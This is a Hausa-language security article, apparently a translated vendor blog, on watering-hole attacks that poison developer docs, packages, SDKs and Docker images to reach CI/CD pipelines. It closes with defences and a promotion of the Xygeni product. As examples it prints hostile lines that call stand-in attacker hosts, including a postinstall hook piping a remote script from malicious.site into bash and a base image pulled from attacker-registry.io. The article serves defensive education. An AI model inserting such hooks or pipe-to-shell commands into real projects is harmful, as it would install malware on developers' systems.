Ginin da Ya Gina Ƙofar Baya
Ginawa yana wucewa. Sabis yana aiki. Komai yana da tsabta. Amma a ɓoye akwai dogaro mai guba da aka samo daga tushen da aka lalata. Wannan hari ne na yau da kullun na ramin ruwa.
A wannan yanayin, maharin bai shiga cikin tsarin aikin ku ba. Sun jira wani mai haɓaka software ya ziyarci wani amintaccen tushe, shafin takardu, wurin ajiyar kayan aiki, ko shafin saukar da SDK, wanda suka riga suka yi ɓarna. Lambar mugunta ta shiga cikin na'urarka. pipeline tare da umarnin cirewa ko shigarwa mai sauƙi.
Da zarar ya shigo, maharin zai sami wurin da ba shi da tabbas a cikin samarwa. Kuma naku CI/CD pipeline kawai ya taimaka musu su isa can.
Menene Harin Ramin Ruwa (Kuma Me Ya Sa Ya Kamata Masu Haɓaka Ya Damu)
To, menene harin ramin ban ruwa? Lokacin da wani mahari ya lalata wani abu da masu haɓaka ko ƙungiyoyi suka riga suka amince da shi. Maimakon kai hari kai tsaye, suna lalata wani shafi ko ma'ajiyar bayanai da za ku iya amfani da shi, kuma suna jiran wani ya ɗauki tarko.
Hare-haren ramukan ruwa sun bambanta da phishing, wanda yawanci ke kai hari ga takardun shaida, da kuma hare-haren sarkar samar da kayayyaki a sama waɗanda ke saka lambar mara kyau a cikin babban ma'ajiyar fakitin. A nan, barazanar ta fito ne daga yanayin da ke kewaye da ku: takardu waɗanda ke ƙara ƙofofi na baya, SDK binary da aka musanya da trojans, ko rajistar fakitin da ke ba da sigogin da aka canza.
Kuma albarkatun dev sune manyan abubuwan da ake sa ran cimmawa: manajojin kunshin (npm, pip, Maven), wuraren ajiyar GitHub na jama'a, hotunan Docker masu kama da na hukuma, da shafukan saukarwa. Idan an yi wa ɗayan waɗannan ɓarna, maharin ya riga ya shiga cikin tsarin dev ɗinku.
Inda Ake Dasa Tarkon: Misalan Masu Mayar da Hankali Kan Ci Gaban Rikicin Ramin Ruwa
Hare-haren ban ruwa a ramuka suna da siffofi da yawa. Ga wasu hanyoyi da suke wuce masu haɓaka:
- Shafin takardu masu rikitarwa:
shigo da { init } daga 'malicious-lib';
init({ telemetry: 'https://attacker.com'});
Misali mai kyau ya canza sosai a cikin takardu. Masu haɓaka suna kwafi, liƙa, sannan su ci gaba.
- Rubutun bayan shigarwa mara kyau a cikin PR na jama'a:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Yana kama da PR mai taimako, amma yana shigar da malware a hankali.
- Trojan SDK binary:
./sdk-install.sh # Ya ƙunshi ɓoyayyen mai lodawa na mataki na biyu
Ana sauke Binary daga URL mai kama da amintacce amma an canza shi. - Hoton tushen Docker da aka sarrafa:
DAGA kumburi:slim-malcious - RUN bash /tmp/hidden-installer.sh
Sunan hoton yayi daidai, amma an shirya shi ne a kan rajistar da aka sace ko aka yi amfani da ita wajen yin zamba.
Duk waɗannan hare-haren ramukan ruwa sun dogara ne akan amincewa da masu haɓakawa da kuma ayyukan aiki masu sauri don gujewa ganowa.
Daga Laptop zuwa Pipeline: Yadda Cutar Ke Yaɗuwa
Harin ramin ruwa bai tsaya a mai bincike ba. Da zarar lambar mugunta ta shiga yanayin gida, zai iya tafiya a hankali a cikin dukkan sarkar isar da sako:
- Mai haɓakawa ya ziyarci wani abu da aka lalata (docs, repo, shafin SDK).
- Lambobin mugunta suna faɗuwa a cikin yanayin haɓaka gida.
- Ana ƙara fayiloli ko abubuwan da suka shafi kamuwa da cuta zuwa commit kuma an tura.
- CI/CD Ayyuka suna gudanar da matakan ginawa da shigarwa ta amfani da waɗannan abubuwan da aka lalata.
- An aika da kayan tarihi aka kuma tura su, inda aka saka lambar maharin a cikin samarwa.
Wannan sarkar na iya bayyana cikin awanni, musamman a cikin ƙungiyoyi masu saurin gudu.
Don ganin wannan, yi tunanin a pipeline zane wanda ke bin diddigin hanyar kamuwa da cuta daga:
- Wurin Aiki na Ƙirƙira: Editoci, tashoshi, shigar da rubutun.
- Sarrafa Tushen: Commits, PRs, haɗuwa.
- CI Pipeline: Shigarwa na dogaro, aiwatar da rubutun, gina hoto.
- Samar: Sakin kayan tarihi, tura su, da kuma damar mai amfani.
A kowane mataki, harin ramin ruwa ba zai iya faruwa ba tare da kariya mai kyau ba.
Yanayin Haɗari na Gaske a cikin CI/CD
Hare-haren ramuka ba wai kawai suna tsaya a injinan haɓaka ba ne. Suna amfani da na'urorin haɓaka ku pipeline Haɗarin gaske sun haɗa da:
- Hotunan tushe masu rauni:
DAGA attacker-registry.io/python:3.10-slim
An ƙara ɓoye malware yayin ginawa. - Dauko rubutun da ba a haɗa ba ko kayan aikin da ba a haɗa ba:
curl -s https://pkg.example.com/latest.sh | bash
"Sabon" na iya canzawa a kowane lokaci, musamman idan an sace DNS. - Rikodin CI masu kamuwa da cuta (misali):
[+] Shigar da kayan aiki…
[+] Ana ɗaukowa daga https://tools.fakecdn.net/bootstrap.sh
[+] An kammala ginin.
Komai yana da kyau a saman. Amma kayan aikin sun riga sun kasance a cikin kayan tarihi.
Ramin ruwa yana kai hari ga cin zarafi nawa aminci yake? CI/CD muhallin da aka sanya a cikin majiyoyin waje da rubuce-rubuce.
Karya Harin Ramin Ruwa Sarkar: Kare-Tsaren Masu Haɓakawa
Domin dakatar da hare-haren ramuka da wuri, kuna buƙatar ƙara tsaurara ayyukan ci gaban ku. Dole ne rigakafin hari ya fara kafin lambar ta shiga CI/CD pipeline:
- Dogaro da fil: Guji alamun da ke iyo kamar latestYi amfani da fayilolin makulli don tabbatar da ginawa mai inganci.
- Tabbatar da checksums: Tabbatar da duk rubutun nesa, binary, da fakiti.
- Yi amfani da madubai na sirri: Yi madubi ga rajistar fakiti masu mahimmanci don hana fallasa ga majiyoyin da suka lalace a sama.
- Tabbatar da hotunan tushe: Yi amfani da nassoshi na hotuna (@sha256) maimakon alamun. Duba duk hotuna kafin amfani.
- Run SCA/SAST haɗa kafin lokaci: Yi amfani da na'urar daukar hoto ta atomatik a cikin tsarin aikin PR ɗinka don gano barazanar da wuri.
- Yi amfani da Git hooks: Gano da kuma toshe canje-canje masu haɗari kafin su kai ga sarrafa sigar.
- Bi da lambar ɓangare na uku kamar shigarwar da ba a amince da ita ba: Ko da ɗakunan karatu da ake amfani da su sosai suna iya ɗauke da haɗari ɓoyayye.
Dole ne a saka tsaro a cikin ayyukan masu haɓakawa. Waɗannan halaye da iko suna taimakawa wajen hana hare-haren ramukan ruwa kafin su yi muni.
Darussa daga Filin
Shari'a ta 1: Taro-Rafi (npm)
Wani amintaccen mai kula da kaya ya canja wurin ikon wani sanannen fakiti. Sabon mai kula da kaya ya ƙara dogaro wanda ya sace bayanan walat ɗin crypto a hankali.
- Inda ya gaza: Babu wani bita game da dogaro da masu wucewa.
- Darasi: Yi amfani da atomatik SCA don bin diddigin canje-canje a cikin dogaro kai tsaye.
Shari'a ta 2: Mai lodawa na Codecov Bash
Wani mahari ya canza rubutun bash da aka yi amfani da shi a yawancin CI pipelines. Yana fitar da sirrika daga mahalli na CI.
- Inda ya gaza: Babu tabbacin checksum.
- Darasi: Koyaushe tabbatar da kayan aikin da aka sauke kafin a fara amfani da su CI/CD.
Dukansu hare-haren ramuka ne na ban ruwa. Da an dakatar da su da wuri.
Rigakafi a Aiki: Tsarin Tunani da Kayan Aiki na DevSecOps
Hana hare-haren ban ruwa a ramuka yana nufin gina al'adar masu haɓaka haɓaka waɗanda ke da masaniya game da tsaro:
- Matsar da tsaron hagu: Horar da masu haɓaka don yin tambayoyi game da rubutun da ba a zata ba, canje-canjen dogaro, ko matakan shigarwa.
- Koma aiki SCA/SAST: Amfani kayayyakin aiki, waɗanda suka haɗa cikin ayyukan PR don hana raunin da aka sani da kuma yanayin haɗari.
- Yi amfani da tabbatar da hash a ko'ina: Ya kamata a tabbatar da duk wani albarkatun waje kafin a aiwatar da shi.
- Allon saka idanu a ainihin lokaci: Rigakafi kawai bai isa ba.
Kayan aiki kamar Xygeni yana ba da damar gani a ainihin lokaci a duk faɗin tsarin samar da software ɗinku. Xygeni yana ci gaba da sa ido kan yanayin masu haɓakawa, ayyukan Git, CI pipelines, da kuma rajistar kayan tarihi don gano:
- Canje-canje na dogaro mara kyau.
- Canje-canje masu ban mamaki a cikin rubutun gini.
- Tsarin samun dama ta hanyar amfani da hanyoyin sadarwa na wasu kamfanoni daban-daban.
Tare da Xygeni, ƙungiyoyi za su iya toshe barazanar da aka shigar ta hanyar kai hare-haren ramuka kafin su yaɗu, da kuma gano tushen sulhu idan mutum ya kuskura ya shiga. An gina shi musamman don zamani. CI/CD muhalli, tare da mai da hankali kan faɗakarwa masu aiki da kuma amfani da mai haɓakawa na farko.
Bayanin Ƙarshe: Da sauri Pipelines, Haɗari Masu Sauri
Yanzu ku sani Menene harin ramin ruwa Ka san cewa ba sa buƙatar karya tsarin gine-ginenka kai tsaye. Suna samun nasara ta hanyar gurbata kayan aiki da shafukan da masu haɓaka suka riga suka amince da su. Daga nan, ka CI/CD pipeline zai iya zama tsarin rarrabawa na maharin.
Babban haɗarin ba wai kawai sulhu ba ne, har ma da yadda lambar mugunta ke tafiya cikin sauri pipeline.
Haɗa binciken tsaro cikin tsarin haɓaka aikinka, ba kamar tunani na baya ba. Domin da zarar an aika shi, ya riga ya makara.
